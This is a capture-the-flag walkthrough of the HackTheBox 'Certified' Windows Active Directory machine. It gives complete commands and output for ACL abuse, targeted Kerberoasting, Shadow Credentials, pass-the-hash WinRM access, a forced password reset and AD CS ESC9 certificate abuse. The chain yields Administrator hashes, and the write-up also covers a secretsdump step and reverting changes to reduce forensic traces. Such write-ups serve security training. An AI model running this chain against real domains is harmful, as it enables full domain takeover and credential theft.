Skip to main content

HackTheBox Certified

1569 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Machine Synopsis
#

As is common in Windows pentests, you will start the Certified box with credentials for the following account: judith.mader/judith09

Key exploitation techniques:

  • Active Directory ACL enumeration and abuse (WriteOwner, GenericWrite)
  • Password reset via net rpc
  • WinRM for lateral movement
  • BloodHound for Active Directory attack path mapping
  • Active Directory Certificate Services (AD CS) ESC9 (NoEKU) vulnerability
  • Shadow Credentials for certificate enrollment
  • Certificate-based authentication for domain compromise

Enumeration
#

An nmap scan identified standard Active Directory services (DNS, Kerberos, LDAP, SMB, WSMAN) and confirmed the domain certified.htb.

❯ nmap -p- --min-rate 10000 10.10.11.41

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49668/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49683/tcp open  unknown
49716/tcp open  unknown
49740/tcp open  unknown
49775/tcp open  unknown

❯ nmap -p 53,88,135,139,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49716,49740,49775 -sC -sV 10.10.11.41

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
...
445/tcp   open  microsoft-ds?
...
5985/tcp  open  wsman
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|_    Message signing enabled and required

The domain certified.htb and its Domain Controller DC01.certified.htb were added to /etc/hosts.

echo -e '10.10.11.41\tcertified.htb dc01.certified.htb' | sudo tee -a /etc/hosts

nxc smb was used to enumerate domain users and confirm judith.mader’s credentials.

❯ nxc smb certified.htb -u "judith.mader" -p "judith09" --rid-brute | grep SidTypeUser | awk '{print $6}'
CERTIFIED\Administrator
CERTIFIED\judith.mader
CERTIFIED\management_svc
CERTIFIED\ca_operator
# ... (truncated)

BloodHound data was collected using bloodhound-python for comprehensive Active Directory analysis. Time synchronization was performed to prevent Kerberos issues.

❯ sudo ntpdate certified.htb # Sync time to DC
❯ /usr/bin/bloodhound-python -u judith.mader -p 'judith09' -c All -d certified.htb -ns 10.10.11.41
# Output saved to a .zip file for BloodHound GUI.

Exploitation
#

Analysis of the BloodHound graph revealed a critical ACL chain:

  • judith.mader had WriteOwner permissions over the MANAGEMENT group.
  • The MANAGEMENT group had GenericWrite permissions over the management_svc account.

bloodhound_judith

Exploiting ACLs: WriteOwner to GenericWrite
#

The WriteOwner permission on the MANAGEMENT group allowed judith.mader to take ownership of the group.

❯ sudo impacket-owneredit -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
[*] OwnerSid modified successfully!

As the new owner, judith.mader could then modify the MANAGEMENT group’s DACL to grant herself WriteMembers permissions. This allowed her to add herself to the MANAGEMENT group.

❯ sudo impacket-dacledit 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
[*] DACL modified successfully!

Finally, judith.mader added herself to the MANAGEMENT group using net rpc.

❯ net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'

Now, as a member of MANAGEMENT, judith.mader inherited GenericWrite permissions over the management_svc account.

Lateral Movement: Targeted Kerberoasting & Shadow Credentials
#

With GenericWrite on management_svc, its properties could be modified. This allowed for Targeted Kerberoasting and ultimately Shadow Credentials exploitation to gain access to management_svc.

Targeted Kerberoasting (Attempted)
#

The initial attempt involved targeted Kerberoasting of the management_svc account. This aims to retrieve its service principal name (SPN) hash, which could then be cracked offline.

❯ python3 targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$8e864632eac7f05ffebb06a69eadbf64$c4586d04fbcc532de0d7c2fe268e9b57a59506b20843d2b9647d803151efec43fa487dc93981002a4e09bf8b63fe728a77efd8622235e7d025be449a13e53905ecc23f89dd067e3f930610a1c0be4a32e8966623d12b18183900be2f69c8d3ca7d05ede0c29c1c2d28837d83c9ecead31af96426a3b064199e1f525d76282bee9f1d01b3f28472f2c283e9c4a433fe61909c0bd2449f9f349accf1663a0078ac2cbf62f9f7af1145f06b7081e7852ef615b657db5a229e3c61ace079ec4802de3913a19cb5002bad6a10c180deff5959afd2d69b9d7f09b73a764526723d2240702aa998346f1326f959802519a5171ed37cdee97e9ee2a9fcf47438545d7c7ef57e346d7c8e8256f37bbaeb69a9dd49ffa711b8254a5c1bfae0e82a1628411b48d70d5509e74043477b0d864a4af234bfb5f663a19da142e96f3a495019924665986e3b40ac012183f53e18b2475eee83b884e669fbfcb2fe36b8234997eb1abe8621b2581c8470de7eb87d02256c9bbaad51a399454722584776f61054c73ffaa855c414ec29c41491cf9f97c85719d4671d82c12bbdaaa7295dedf9d71b78a5a5403eded6091098b34b227b9c2f24cf608935740573e46add9776153f8efc3f90ea37c8a9ee386470d722e718e0e6b67766945b432f0defcd86cab4a502d9b576a773418274aa622cad8f53aedb2a4fee823d1811d8fa611f6a70d0c5a7ec88e5ac6b99dab823fec1a17ed0bd48c0099180979b48280b0a5def65da751d8a3171249e76115a082c1fefcd1d6b9327b054c4cfb00d050e745576ffa650e1ab33323102ba84da89007a38c8c63c7f55c20c8f31a879989c64bf6781d60c2ab62e71e5f1cf6db4eb18db34c820c0cad9d3fcb548f95fc8e3a7c54f52733fe56b2bed64229d05700dde34cb744e6c34857b9451503e17754011b11211c32b8fcefc738353e4dad449b264cd9950f5999da2428c8a2c10d10b99cfb3838b8e81265aafe6f10c9e01aa4c2c5d3c0e3e67631ae441bd7f297c35a3e7a71e0e80dc4e1b4d85ed6a748e865e1c20162ac66633f52be6da389787e405f587c63de5a5e8ef3bf9eb368823cda644d35f55e41b3accea4aea966ac7f1a84fc33c7e7c15f714a5ddca376374b6cad00be4d21df92289ad961ab13e0b00647302e3e959200e7b785a593dc672c85dc6d97deec843f07febdc9107d584cd020d9ef144f022bf6dec61b919439a1b33315c95ec2f2ace59b1c5d77a5b667996b88442bb8800672d9b865c910a861fb9d4cff2a78547d77d38486f79cfd47a2fa505a0b6ceb8b5b8c834bb7c9b15d9ed738a741334e3a1fc0d9c23eb7f5713a6c6a5629d69f2efc3f71a16886a50f070b14a8c40617a40456cf93662336273ff32f3ed393d09eba7b0c3facd8c22d5a5fb7a93b46e41f3943a9e07d89e3dc183efd8b93a80aa435727f51e5b0cd4993e8980f8fd54da7780cf12068e8c1188e8f9adc5ad6301e95b295499bb3f3b97e76696a358fd2b1ee45b70f215e04ecd0f3314a1e94f900b481a87c25563266a56bf0ecb21f5a31ca82e58935d62efea1c83899418c4118b5146

The retrieved Kerberos hash for management_svc was uncrackable, leading to the pursuit of an alternative method.

Shadow Credentials for management_svc
#

Since judith.mader had GenericWrite on management_svc, she could add Shadow Credentials to the account. This allows obtaining a Kerberos Ticket Granting Ticket (TGT) without needing the account’s password.

pywhisker was used to add a new KeyCredential to management_svc.

❯ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Generating KeyCredential with DeviceID: c1b10515-961c-9b19-edbc-d0a47fe38147
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: od0VPICw.pfx
[*] Must be used with password: wjw8w1wWwtNwIl1vkm3l

pywhisker provided the path to the generated PFX file (od0VPICw.pfx) and its password (wjw8w1wWwtNwIl1vkm3l).

This PFX was then used with gettgtpkinit.py to obtain a TGT for management_svc.

❯ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx ../pywhisker/pywhisker/od0VPICw.pfx -pfx-pass wjw8w1wWwtNwIl1vkm3l management_svc.ccache
[*] Requesting TGT
[*] AS-REP encryption key (you might need this later): d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Saved TGT to file

The TGT was saved to management_svc.ccache.

The management_svc’s NT hash was then recovered using getnthash.py with the obtained TGT and AS-REP encryption key.

export KRB5CCNAME=management_svc.ccache
❯ python3 getnthash.py certified.htb/management_svc -key d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

The NT hash for management_svc (a091c1832bcdd4677c28b5a6a1295584) was obtained.

WinRM Access to management_svc
#

The management_svc NT hash was used to establish a WinRM session.

❯ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
aeef49aba577440516239df6cb94392c

The user.txt flag was retrieved.

Privilege Escalation: AD CS ESC9
#

With management_svc access, another BloodHound data collection was performed to identify further escalation paths, specifically focusing on Active Directory Certificate Services (AD CS).

❯ /usr/bin/bloodhound-python -d certified.htb -c All -ns 10.10.11.41 --zip -u management_svc --hash :a091c1832bcdd4677c28b5a6a1295584 --use-ldap
# Output saved to a new .zip file.

bloodhound_management_svc

BloodHound analysis revealed that management_svc had GenericAll privileges over the ca_operator account.

We can change the password for ca_operator.

We use ffffffffffffffffffffffffffffffff for LM hash because it is not known to us.

❯ pth-net rpc password "ca_operator" "P@ssw0rd" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "dc01.certified.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

We can test if the password change was successful.

❯ nxc smb certified.htb -u 'ca_operator' -p 'P@ssw0rd'
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:P@ssw0rd 

Now that we have owned ca_operator, we can try to find vulnerable AD CS configurations using certipy-ad.

❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41 -old-bloodhound
# Output saved to a new .zip file

Drag the new Bloodhound data to the GUI and refresh the GUI to analyze the newly added AD CS data.

bloodhound_ca_operator

Unfortunately the Bloodhound version that I’m currently using can’t show what vulnerabilities we can exploit.

certipy-ad find was used to identify vulnerable certificate templates.

❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41
...
[*] Saved text output to '20250207234935_Certipy.txt'
[*] Saved JSON output to '20250207234935_Certipy.json'

❯ cat 20250207234935_Certipy.json
...
"Certificate Templates": {
    "0": {
      "Template Name": "CertifiedAuthentication",
      "Display Name": "Certified Authentication",
      # ...
      "Enrollment Flag": [
        "NoSecurityExtension", # Critical for ESC9
        "AutoEnrollment",
        "PublishToDs"
      ],
      # ...
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFIED.HTB\\operator ca", # 'operator ca' group can enroll
            # ...
          ]
        },
      # ...
      "[!] Vulnerabilities": {
        "ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
      }
    }
}

The CertifiedAuthentication template was identified as vulnerable to ESC9 (NoEKU). This vulnerability exists when a template has NoSecurityExtension enabled and an enrolling principal (like operator ca, a group ca_operator is likely a part of) has enrollment rights. This allows an attacker to request a certificate for any user, including high-privileged ones like Administrator, without the certificate containing the Any Purpose EKU.

Exploiting ESC9 with Shadow Credentials
#

Since management_svc had GenericAll over ca_operator, Shadow Credentials were used to obtain ca_operator’s NT hash. This facilitated the subsequent certificate request.

❯ certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
[*] NT hash for 'ca_operator': e19ccf75ee54e06b06a5907af13cef42

The NT hash for ca_operator (e19ccf75ee54e06b06a5907af13cef42) was retrieved.

Next, ca_operator’s userPrincipalName (UPN) was temporarily updated to Administrator using management_svc’s GenericAll rights. This is a crucial step for ESC9, as it directs the CA to issue the certificate for the Administrator account’s UPN.

❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -debug
[*] Updating user 'ca_operator': userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

A certificate was then requested for Administrator using the ca_operator’s hash and the vulnerable CertifiedAuthentication template.

❯ sudo certipy-ad req -username 'ca_operator@certified.htb' -hashes 'e19ccf75ee54e06b06a5907af13cef42' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate and private key to 'administrator.pfx'

Immediately after requesting the certificate, ca_operator’s UPN was reverted to its original value to minimize forensic footprint.

❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn "ca_operator@certified.htb"
[*] Successfully updated 'ca_operator'

Finally, the administrator.pfx certificate was used to authenticate and retrieve the Administrator’s NT hash.

❯ certipy-ad auth -pfx administrator.pfx -domain "certified.htb"
[*] Using principal: administrator@certified.htb
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

The Administrator’s NTLM hash was then used to gain a root shell via evil-winrm.

❯ evil-winrm -i certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
8ce24fced08f18463c0b209e4cb56a00

The root.txt flag was retrieved.

Alternative Post-Exploitation:

With the Administrator’s TGT (stored in administrator.ccache), domain secrets could be dumped using impacket-secretsdump.

KRB5CCNAME=administrator.ccache impacket-secretsdump -k dc01.certified.htb
# This would dump all NTLM hashes and Kerberos keys from the domain controller.

Cleanup
#

For proper operational security, any artifacts left on the system or modifications made to Active Directory should be reverted.

  • Restore MANAGEMENT group’s original owner and DACL.
  • Remove judith.mader from the MANAGEMENT group.
  • Delete od0VPICw.pfx, management_svc.ccache, administrator.pfx, administrator.ccache, and any BloodHound zip files.
  • Remove any Shadow Credentials added to ca_operator.
# Example: Remove Shadow Credential (if not automatically removed by certipy)
# certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator --action "remove"